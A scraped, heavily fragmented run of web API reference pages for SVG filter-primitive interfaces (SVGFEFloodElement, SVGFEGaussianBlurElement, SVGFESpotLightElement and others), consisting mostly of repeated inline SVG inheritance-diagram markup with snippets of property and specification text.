chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance svgelement.datasetread only a domstringmap object whi
ch provides a list of key/value pairs of named data attributes whi
ch correspond to custom data attributes atta
ched to the element.
... svgelement.viewportelementread only the svgelement, whi
ch established the current viewport.
SVGFEComponentTransferElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecomponenttransferelement" target="_top"><rect x="191" y="65" width="290" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseli...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfecomponenttransferelement' in that specification.
SVGFEDiffuseLightingElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfediffuselightingelement" target="_top"><rect x="211" y="65" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfediffuselightingelement' in that specification.
SVGFEDistantLightElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedistantlightelement" target="_top"><rect x="241" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="361" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="m...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfedistantlightelement' in that specification.
SVGFEFloodElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefloodelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefloodelement' in that specification.
SVGFEGaussianBlurElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfegaussianblurelement" target="_top"><rect x="241" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="361" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="m...
...it is invalid to attempt to define a new value of this type or to attempt to swit
ch an existing value to this type.
SVGFEImageElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeimageelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeimageelement' in that specification.
SVGFEMergeElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemergeelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemergeelement' in that specification.
SVGFEMergeNodeElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemergenodeelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemergenodeelement' in that specification.
SVGFEOffsetElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeoffsetelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeoffsetelement' in that specification.
SVGFEPointLightElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfepointlightelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="mid...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfepointlightelement' in that specification.
SVGFESpecularLightingElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfespecularlightingelement" target="_top"><rect x="201" y="65" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="341" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baselin...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfespecularlightingelement' in that specification.
SVGFESpotLightElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
